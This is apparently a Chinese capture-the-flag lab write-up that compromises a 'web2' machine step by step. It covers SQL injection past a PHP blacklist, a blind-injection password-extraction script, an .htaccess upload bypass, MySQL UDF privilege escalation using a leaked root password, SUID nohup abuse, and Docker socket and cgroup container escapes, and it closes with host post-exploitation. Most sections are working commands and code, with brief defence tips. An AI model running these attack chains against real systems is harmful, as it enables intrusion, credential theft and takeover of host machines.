一.解题具体过程
**1.打开这个web2的机器同样的nmap扫端口。Dirsearch扫目录,**使用漏扫工具扫一下,发现mysl以及80端口,和目录,我们登进去发现只有一个可以进去,还有一个文件上传,有一个那不能进去的我们提权进去后看看到底隐藏什么不让我看


(2)看看源码,看看swp的vim异常退出产生的备份文件,我们发现了语句输入的过滤
为了更透彻地理解漏洞,我们需要对这段 PHP 代码的执行逻辑进行深度拆解。这段代码是一个典型的"带 WAF 的登录验证"逻辑。
1. 黑名单定义 ($ban_str) 开发者定义了一个极其庞大的黑名单,试图拦截所有可能的 SQL 注入关键字:
- 查询类:select, union, load_file
- 操作类:insert, update, delete, drop, alter
- 函数类:ascii, sub (对应 substr), sleep, user, phpinfo
- 符号类:', /*, */, <script
2. 过滤逻辑的核心缺陷 代码使用了 foreach 遍历黑名单,并调用 lvlarrep 函数进行递归替换。
- 递归替换的初衷:开发者希望将 select 替换为空,如果攻击者输入 selselectect,替换一次后变成 select,开发者希望通过递归继续替换,直到字符串中不再包含关键字。
- 实际效果:正是这种"聪明"的递归替换(或者特定的替换逻辑实现),往往留下了双写绕过的空间。如果替换逻辑是从左到右进行一次性匹配和删除,那么双写确实可以绕过。但在本例中,配合后续的测试发现,双写 selselectect 确实成功保留了 select,说明过滤机制存在逻辑漏洞。
3. 单引号转义与反斜杠遗漏
php
str = str_replace('\\'', '\'', str);
这一行代码是导致 反斜杠注入 的直接原因。
- 它的作用:将所有的单引号 ' 替换为 HTML 实体 '。这通常是为了防止 XSS,但在 SQL 上下文中,也能破坏闭合。
- 它的疏忽 :没有处理反斜杠 \ 。在 MySQL 中,\ 是转义字符。攻击者输入 admin\,经过 WAF 后依然是 admin\。当它进入 SQL 语句: username = 'admin\' 末尾的反斜杠转义了包裹 username 值的结束单引号,导致 SQL 解析器继续向后吞噬字符串,直到遇到下一个单引号。
**构造用户:**admin\,密码:or 1=1#
相当于username="admin\" and passwd = " or 1=1 #"
admin\" and passwd =
or 1=1 #


(3)从这个代码,我们也可以看出含有布尔注入的方法,那我们爆一下密码:
#!/usr/bin/env python3
import requests
import string
url = 'http://192.168.8.160/'
def test_bool(username, password):
sess = requests.session()
post_data = {
'login': '1',
'username': username,
'password': password
}
try:
resp = sess.post(url, data=post_data, timeout=5)
return '登陆成功' in resp.text
except:
return False
user_payload = 'admin\\'
print("[*] Finding password length...")
for length in range(1, 100):
payload = f" or length(password)={length}-- "
if test_bool(user_payload, payload):
print(f"[+] Password length: {length}")
pwd_len = length
break
print("[*] Extracting password character by character...")
password = ''
for pos in range(1, pwd_len + 1):
for code in range(32, 127):
payload = f" or ord(mid(password,{pos},1))={code}-- "
if test_bool(user_payload, payload):
password += chr(code)
print(f"[+] Password[{pos}]: {chr(code)} -> {password}")
break
print(f"\n[*] Final password: {password}")
实体编码:
实体编码(也常叫字符实体 / HTML 实体编码) 的核心概念,简单来说,它是把有特殊含义的字符转换成通用的 "实体符号",让程序 / 浏览器能正确解析,而不是把这些字符当作代码或指令执行,防止跨站脚本攻击,没有处理反斜杠

(4)这个php和jpg都没前端禁止传入,但是连接php的时候失败,有可能是后端禁止php,或者禁止其中的语法,那我们上传.htaccess文件和.user.ini文件能不能修改一下啊jpg让他执行php的能力,后续发现.htaccess是可以成功的(其中我产生了两个错误,一个是将.htaccess.txt加了后缀,一个是蚁剑环境出错,需要重启连接)
.htaccess:篡改Apache 服务器的解析规则,让指定后缀文件(如.jpg/.txt)被解析为 PHP。 和让所有文件都以 PHP 解析(全盘篡改)
.user.ini:篡改PHP 的运行配置 ,通过自动包含机制,让任意文件(如.jpg)中的恶意代码被执行。让正常的 PHP 文件(如 index.php)在执行时,自动包含恶意文件(如 malicious.jpg),从而间接执行恶意代码。
目标服务器是 Apache。Apache 有一个特性:允许在目录中放置 .htaccess 文件来覆盖服务器配置。如果:
- Apache 配置了 AllowOverride All 或 AllowOverride FileInfo
- 文件上传功能没有过滤 .htaccess 文件
那么攻击者可以上传一个 .htaccess 文件,修改该目录下的文件解析规则,使任意文件被当作 PHP 执行。
这种方法的优势:
- 不需要猜测服务器支持哪些 PHP 扩展名
- 可以让任意文件名(甚至没有扩展名)被解析为 PHP
- 绕过了基于扩展名的黑白名单检查

(5)权限方面:首先进去之后就看看开始不允许看的目录,发现什么都没有,就一个页面的构造,以及知道的备份内容。再去看看index.txt什么的,发现也没有东西,找找根目录或者其他配置,sudo -l和find / -perm -400 2>/dev/null发现没有什么利用的

(6)那我们看看内核漏洞有没有存在的
上面linux 641一串数字再5.14.0说明可能是在容器里面,641就是主机名,这个一个思考方向,容器逃逸;这个linux 5.14.0和php7.4.9都存在大量漏洞,那我们尝试一下,经大量尝试发现不存在内核漏洞和php漏洞,那我们转换思路,看看敏感文件;宿主机用的是 RHEL 9 的内核,但容器用的是 Debian 10 的根文件系统,因此出现了 "内核是 RHEL 9,发行版是 Debian 10" 的不匹配情况





(7)我们先对他进行一个反弹shell一下,反弹 Shell 不是为了 "立刻提权",而是为了改善操作环境------ 把不稳定、受限的 WebShell,换成稳定、功能完整的 TCP 终端,让后续的提权、逃逸、权限维持等操作更顺畅。sh,bash都不能用,我们搜索可以反弹工具发现php,perl,awk可以使用,最终可以反弹成功的只有php和perl

(8)反弹后使用id看看自己是谁有什么权限,发现cat passwd里面没有其他用户,只有一个root确定,ls -a看看根目录,ls -la /.dockerenv看看具体权限,env 是 environment 的缩写,是 Linux/Unix 系统中的基础命令,核心作用是:查看当前进程的所有环境变量,或在指定的环境变量下执行命令。Env看看环境变量有没有暴露什么内容HOSTNAME=6143de17d057,MYSQL_PASSWORD=xzPzdsKJmUMdPand,MYSQL_HOST=db,MYSQL_USER=root,MYSQL_DATABASE=ctf,上面介绍了主机名,mysql密码,db是MySQL 数据库的连接地址,root是mysql用户名,ctf
默认连接的数据库名,ctf 说明目标场景是 CTF 比赛环境,可以看看库内容
db 是 Docker Compose 编排的服务名(表示数据库运行在同一个 Docker 网络的另一个容器中,服务名为 db),尝试横向移动到数据库容器(如通过 mysql 客户端连接,或利用容器网络漏洞逃逸)。 若能进入 db 容器,可进一步获取宿主机权限


(9)攻击提权
- 当前处于 Docker 容器中(存在 /.dockerenv 文件)
- 环境变量中包含 MySQL root 密码
- MySQL 服务运行在另一个容器中(主机名为 db)
攻击思路:利用 MySQL root 权限进行 UDF 提权,在 MySQL 容器中获取命令执行能力,然后寻找进一步提权的方法。

(10)mysql UDF提权


(11)容器没有mysql,运行在db的容器的mysql,退出kali连接一下
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl
加上 --skip-ssl 后,客户端会强制使用明文连接,绕过 SSL 验证,从而成功建立连接。检查一下ctf发现了flag1,如果在第一步忘记爆破,在这里也是找得到flag

(12)我们有mysql的root权限了,那我们需要做点事情,UDF 提权是 MySQL 渗透的经典技术,那我们试试看,mySql数据逃逸

(13)看系统,外面和内部不一样,在容器,使用Mysql密码udf提权
(14)检查一下环境:SELECT version(); SELECT @@plugin_dir; SELECT @@secure_file_priv; 检查这些环境参数是UDF 提权的核心前置步骤,也是渗透测试中 "精准攻击" 的基础
SELECT version(); → 确认 MySQL 版本
不同 MySQL 版本对 UDF 的加载机制、安全限制完全不同:
5.1 及之前版本:UDF 库可放在任意目录,无需依赖plugin_dir;
5.1 之后版本(如当前的 5.7.44):UDF 库必须放在plugin_dir指定的插件目录才能加载。
(2)SELECT @@plugin_dir; → 获取插件目录路径
UDF 提权的核心是将恶意 UDF 共享库(如lib_mysqludf_sys.so)上传到插件目录,再通过 MySQL 加载并创建执行系统命令的函数(如sys_eval、sys_exec)。
这里得到路径/usr/lib64/mysql/plugin/,后续你需要将 UDF 库文件写入这个目录,否则 MySQL 无法加载 UDF 函数。
(3)SELECT @@secure_file_priv; → 验证文件操作权限
secure_file_priv是 MySQL 的安全配置,控制LOAD_FILE、INTO OUTFILE等文件操作的允许范围:
若为空(如截图中结果为空):允许对所有目录进行文件读写,满足 UDF 提权的关键条件(可以直接将 UDF 库写入插件目录);
若为特定目录:只能在该目录下读写,需确认插件目录是否在允许范围内;
若为NULL:禁止所有文件操作,无法进行 UDF 提权。

(15)准备 UDF 文件:
使用sqlmap自带的UDF文件,


(16)写入 UDF 文件并创建函数
读取十六进制内容
UDF_HEX=$(cat /tmp/udf64_hex.txt)
写入 UDF 文件到 MySQL plugin 目录
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl \
-e "SELECT UNHEX('$UDF_HEX') INTO DUMPFILE '/usr/lib64/mysql/plugin/lib_mysqludf_sys_64.so';"
创建 sys_exec 函数
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl \
-e "CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys_64.so';"

(17)测试命令执行
为什么要重定向?
sys_exec 只返回命令执行的状态码(0 表示成功,非 0 表示失败),不会直接返回命令的输出内容。因此需要把输出写到文件,再用 LOAD_FILE 读取结果。
右边示例命令里的最后一个 mysql,是 指定连接的目标数据库名,属于 MySQL 客户端的语法规则
SELECT LOAD_FILE('/tmp/out.txt');


输出:
uid=999(mysql) gid=999(mysql) groups=999(mysql)
mysql,成功在 MySQL 容器中获取命令执行权限。但是权限很低。
(18)区分以及提权,查找 SUID 文件
系统用户 mysql(uid=999)
本质 :这是 Linux 系统层面的用户,是 MySQL 服务(mysqld 进程)的运行用户。
设计目的:为了安全,MySQL 服务不会用系统 root 用户运行,而是用专门的低权限系统用户 mysql(uid=999),避免服务被攻陷后直接拿到系统 root 权限。
权限范围:仅能操作 MySQL 相关的系统资源(如数据目录 /var/lib/mysql、日志文件等),无法随意执行系统命令、修改其他系统文件。
当前场景的影响 :通过 UDF 函数 sys_exec 执行的系统命令(如 id),会继承 MySQL 服务的运行权限,因此是以系统用户 mysql 的身份执行,所以 id 输出显示 uid=999(mysql)。
- MySQL 用户 root(-u root)
本质 :这是 MySQL 数据库内部的用户,是数据库的超级管理员账号。
权限范围:仅在 MySQL 内部生效,拥有数据库的最高权限(如创建用户、修改数据库、执行 UDF 提权等),但这个权限和 Linux 系统的 root 用户无关。
当前场景的影响:用 -u root 连接 MySQL,说明拥有了数据库的最高权限,因此可以创建 UDF 函数 sys_exec,但执行系统命令时,依然受限于 MySQL 服务的运行用户(系统用户 mysql),无法直接获得系统 root 权限。


(19)找到nohup后就不难使用了,sys_exec 的返回值特性导致它无法直接显示命令输出 ------ 我们把命令输出写到文件,再用 LOAD_FILE 查看,本质是 "绕开返回值限制,获取命令执行结果",就是用Linux 渗透测试中查找可利用 SUID 文件的经典命令,来提权查看flag2
产看文件权限

包含-r-------- 1 root root 44 Jan 18 13:55 flag
获取根目录权限信息:通过 ls -la / 收集系统核心目录的权限配置;
确保文件可读取:chmod 644 让 LOAD_FILE 能读取文件(默认 sys_exec 创建的文件只有 mysql 用户有读权限,LOAD_FILE 需要文件对其他用户也有读权限);
分析提权路径:从根目录的权限信息中,找到可利用的漏洞(如世界可写的文件、异常的 SUID 文件),进而提权到 root。
(20)利用SUID nohup读取flag2,搜索到这个flag再使用命令执行保存,赋权,然后使用load命令打开回显
SELECT sys_exec('/usr/bin/nohup cat /flag > /tmp/f.txt 2>&1');
SELECT sys_exec('chmod 644 /tmp/f.txt');
SELECT LOAD_FILE('/tmp/f.txt');

(21)docker逃逸获取flag3,查看mysql里面有没有包含flag的文件,赋权再查看,发现只有flag2,考虑一下当前容器没有了,那我们能不能访问宿主主机,常见的docker逃逸
SELECT sys_exec('/usr/bin/nohup find / -name \"*flag*\" -type f 2>/dev/null > /tmp/find_flags.txt');
SELECT sys_exec('chmod 644 /tmp/find_flags.txt');
SELECT LOAD_FILE('/tmp/find_flags.txt');


过滤系统文件后,就只有一个根目录flag
(22)看看能不能访问宿主主机,查看docker soclet是否存在逃逸条件,
SELECT sys_exec('/usr/bin/nohup ls -la /var/run/docker.sock > /tmp/docker_sock.txt 2>&1');用来查看是否具有逃逸权限,其中关键发现:Docker Socket存在且可访问!这意味着可以与docker daemon通信,肯能访问主机文件系统,输出明确显示了 /var/run/docker.sock 文件,其中开头的 s 表示这是一个 Unix 域套接字(Unix Socket),这是 Docker daemon 用来监听客户端请求的专属通信端点。sys_exec 执行的 ls -la 命令能成功获取该文件的属性,说明 MySQL 运行的进程(通常是 mysql 用户)对这个 socket 文件有读权限。这是与 Docker daemon 通信的前提。

(23)探测宿主主机是否存在其他flag,通过Docker API创建一个临时容器,挂载主机茛目鲤,搜索flag文件
构造 API 请求 payload
JSON 格式的请求体,用来告诉 Docker daemon "要创建一个什么样的容器",每个字段的作用:
"Image":"mysql:5.7":指定容器使用 mysql:5.7 镜像(只要是能运行 find 命令的镜像都可以,比如 alpine 也可以);
"Cmd":["find","/host","-maxdepth","3","-name","*flag*","-type","f"]:容器启动后要执行的命令 ------ 在 /host 目录下(对应主机根目录),最多递归 3 层,查找所有名字包含 flag 的文件;
"HostConfig":{"Binds":["/:/host"]}:核心操作!把主机的根目录 / 绑定挂载到容器内的 /host 目录,这样容器里访问 /host 就等于直接访问主机的所有文件(突破容器隔离)。
使用 MySQL 直接写入 JSON payload(避免 base64 编码问题)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"find\",\"/host\",\"-maxdepth\",\"3\",\"-name\",\"*flag*\",\"-type\",\"f\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/find_payload.json';" mysql
创建探测容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/find_payload.json http://localhost/containers/create\\" > /tmp/find_container.json 2>&1');" mysql
通过 Docker API 创建一个临时容器,挂载宿主机根目录,搜索是否存在其他 flag 文件:

(24)第一步:读取创建容器的返回结果,获取容器 ID:
{"Id":"b4a9aeb0d105b8c80b6c4617a9267b3432d07d73d9a9a87169e01188f3b13a37","Warnings":[]}

(25)第二步:启动容器:
使用上一步获取的容器 ID
CONTAINER_ID='b4a9aeb0d105b8c80b6c4617a9267b3432d07d73d9a9a87169e01188f3b13a37'
启动容器
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/start.txt 2>&1');" mysql
等待容器执行完成
sleep 2
检查启动结果(可选,成功时返回空)
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/start.txt');" mysql
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/start.txt');" mysql

说明:Docker API 的 /containers/{id}/start 成功时返回 HTTP 204 No Content,所以文件内容为空表示启动成功。
(26)第三步:获取容器日志(搜索结果):
获取容器日志
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\\" > /tmp/find_logs.txt 2>&1');" mysql
设置文件权限
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/find_logs.txt');" mysql
读取搜索结果
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/find_logs.txt');" mysql

(27)目标确定了,产看可用镜像
通过信息收集,确认了:
- MySQL 容器中的 /flag 是 flag2
- 宿主机根目录的 /flag 是一个新的 flag(flag3)
- 可以通过 Docker Socket 进行容器逃逸来获取 flag3
获取镜像列表
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/images/json\\" > /tmp/img.json 2>&1');" mysql
设置文件权限
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/img.json');" mysql
读取镜像列表
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/img.json');" mysql

- mysql:5.7 - MySQL 数据库镜像
- php:7.4.9-apache - PHP Web 服务镜像
- app_web:latest - 应用 Web 镜像
选择 mysql:5.7 镜像来创建逃逸容器(因为它已经存在,不需要下载)。
(28)构造 API 请求
创建容器的 API 请求需要一个 JSON 格式的请求体,包含:
- Image:使用的镜像名称
- Cmd:容器启动后执行的命令
- HostConfig.Binds:目录挂载配置
配置解释:
- "Image": "mysql:5.7":使用 mysql:5.7 镜像
- "Cmd": ["cat", "/host/flag"]:容器启动后执行 cat /host/flag
- "Binds": ["/:/host"]:将宿主机的 / 挂载到容器的 /host
(29)步骤 1:使用 MySQL 的 SELECT INTO OUTFILE 写入 JSON payload
使用 MySQL 直接写入 JSON payload 文件
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/flag\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/docker_payload.json';" mysql
验证 payload 文件内容:
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/docker_payload.json');" mysql
(30)步骤 2:调用 Docker API 创建容器
使用 SUID nohup 以 root 权限执行 curl(因为 mysql 用户没有 docker.sock 访问权限)
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/docker_payload.json http://localhost/containers/create\\" > /tmp/container_create.json 2>&1');" mysql
设置文件权限
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/container_create.json');" mysql
读取容器创建结果,获取容器 ID
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/container_create.json');" mysql

{"Id":"870769fc80aba43a92ffed3dd585560fec77d4ebb87d28a3d17ed0361e54c33c","Warnings":[]}
(31)启动容器并且进行搜索
设置容器 ID 变量(使用上一步返回的实际 ID)
CONTAINER_ID='870769fc80aba43a92ffed3dd585560fec77d4ebb87d28a3d17ed0361e54c33c'
启动容器
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/container_start.txt 2>&1');" mysql
等待容器执行完成(容器执行 cat 命令后会自动退出)
sleep 2
检查启动结果(可选,成功时返回空)
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/container_start.txt');" mysql
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/container_start.txt');" mysql

说明:Docker API 的 /containers/{id}/start 成功时返回 HTTP 204 No Content,所以文件内容为空表示启动成功。
(32)获取容器输出
获取容器日志(flag3 内容)
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\\" > /tmp/flag3_output.txt 2>&1');" mysql
设置文件权限(重要:否则 LOAD_FILE 可能无法读取)
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/flag3_output.txt');" mysql
读取 flag3
mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/flag3_output.txt');" mysql

返回结果(注意:输出开头可能包含 Docker 日志的二进制头信息)
创建第一个是搜索,第二个容器才是操作过程
这其实是渗透测试中非常典型的 "分步操作":
- 第一步(探索):用一个容器探测目标环境(比如搜索文件、查看权限)。
- 第二步(执行):用另一个容器执行精准的攻击(比如读取敏感文件、提权)。
这样拆分可以避免在一个容器中执行过多命令导致的混乱,也能确保每一步的结果都清晰可控
二.扩展提升
6.7 Docker 逃逸的其他方法
除了 Docker Socket 挂载,还有其他常见的 Docker 逃逸方法:
6.7.1 特权容器逃逸
如果容器以 --privileged 模式运行,可以直接访问宿主机设备:
bash复制
检查是否为特权容器
cat /proc/1/status | grep CapEff
如果值为 0000003fffffffff,则为特权容器
挂载宿主机磁盘
mkdir /mnt/host
mount /dev/sda1 /mnt/host
cat /mnt/host/flag
6.7.2 cgroup 逃逸(CVE-2022-0492)
利用 cgroup v1 的 release_agent 机制逃逸:
bash复制
创建 cgroup
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
设置 release_agent
echo 1 > /tmp/cgrp/x/notify_on_release
echo "#!/bin/sh" > /cmd
echo "cat /flag > /tmp/flag" >> /cmd
chmod +x /cmd
echo "/cmd" > /tmp/cgrp/release_agent
触发 release_agent
sh -c "echo \\\ > /tmp/cgrp/x/cgroup.procs"
6.8 Docker 逃逸防御建议
- 不要挂载 Docker socket
yaml复制
docker-compose.yml 中避免这样的配置
volumes:
- /var/run/docker.sock:/var/run/docker.sock # 危险!
- 不要使用特权容器
bash复制
避免使用 --privileged
docker run --privileged ... # 危险!
使用最小权限
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ...
- 使用 rootless Docker
bash复制
以非 root 用户运行 Docker daemon
dockerd-rootless-setuptool.sh install
- 启用安全策略
bash复制
使用 AppArmor
docker run --security-opt apparmor=docker-default ...
使用 Seccomp
docker run --security-opt seccomp=/path/to/seccomp.json ...
- 使用只读文件系统
bash复制
docker run --read-only ...
- 限制资源访问
bash复制
禁止访问宿主机网络
docker run --network=none ...
禁止访问宿主机 PID 命名空间
docker run --pid=container:other_container ...
第七章 宿主机后渗透与持久化
在获取 flag3 后,渗透测试并未结束。在真实的 APT(高级持续性威胁)攻击场景中,攻击者会进一步巩固对宿主机的控制,建立持久化后门,为后续的横向移动和数据窃取做准备。
7.1 宿主机信息收集
7.1.1 获取交互式 Shell
首先,通过 Docker 逃逸获取宿主机的交互式 Shell:
bash复制
使用 MySQL 直接写入 JSON payload 文件
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"/bin/bash\"],\"Tty\":true,\"OpenStdin\":true,\"HostConfig\":{\"Binds\":[\"/:/host\"],\"Privileged\":true}}' INTO OUTFILE '/tmp/shell_payload.json';" mysql
创建容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/shell_payload.json http://localhost/containers/create?name=shell_container\\" > /tmp/shell_create.txt 2>&1');" mysql
设置文件权限并读取结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/shell_create.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/shell_create.txt');" mysql
返回结果:
json复制
{"Id":"...容器ID...","Warnings":[]}
重要:启动容器
创建容器后必须启动它:
bash复制
使用返回的容器 ID 启动容器
CONTAINER_ID='上一步返回的容器ID'
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/shell_start.txt 2>&1');" mysql
检查启动结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/shell_start.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/shell_start.txt');" mysql
说明:启动成功时返回空。容器启动后,宿主机根目录被挂载到容器的 /host 目录。
7.1.2 收集宿主机信息
注意:由于我们是通过 MySQL UDF 执行命令,命令实际上在 MySQL 容器中运行。MySQL 容器本身没有 /host 目录,所以需要通过 Docker API 创建一次性容器来收集信息。
方法:创建一次性容器执行命令并获取输出
bash复制
收集系统信息 - 创建容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/etc/os-release\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/osinfo_payload.json';" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/osinfo_payload.json http://localhost/containers/create\\" > /tmp/osinfo_create.txt 2>&1');" mysql
读取容器 ID
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/osinfo_create.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/osinfo_create.txt');" mysql
返回结果:
json复制
{"Id":"...容器ID...","Warnings":[]}
启动容器并获取输出:
bash复制
启动容器
CONTAINER_ID='上一步返回的容器ID'
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/osinfo_start.txt 2>&1');" mysql
sleep 2
获取容器日志(系统信息)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\\" > /tmp/os_info.txt 2>&1');" mysql
读取系统信息
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/os_info.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/os_info.txt');" mysql
同理,收集其他信息:
bash复制
收集内核版本
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"uname\",\"-a\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/kernel_payload.json';" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/kernel_payload.json http://localhost/containers/create\\" > /tmp/kernel_create.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/kernel_create.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/kernel_create.txt');" mysql
获取容器 ID 后启动并获取日志
CONTAINER_ID='返回的容器ID'
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/kernel_start.txt 2>&1');" mysql
sleep 2
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\\" > /tmp/kernel.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/kernel.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/kernel.txt');" mysql
读取网络配置
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/hosts.txt');" mysql
收集的关键信息:
| 信息类型 | 用途 |
|---|---|
| 操作系统版本 | 确定可用的提权漏洞 |
| 内核版本 | 检查内核提权漏洞(如 DirtyPipe、DirtyCow) |
| 用户列表 | 识别高价值目标账户 |
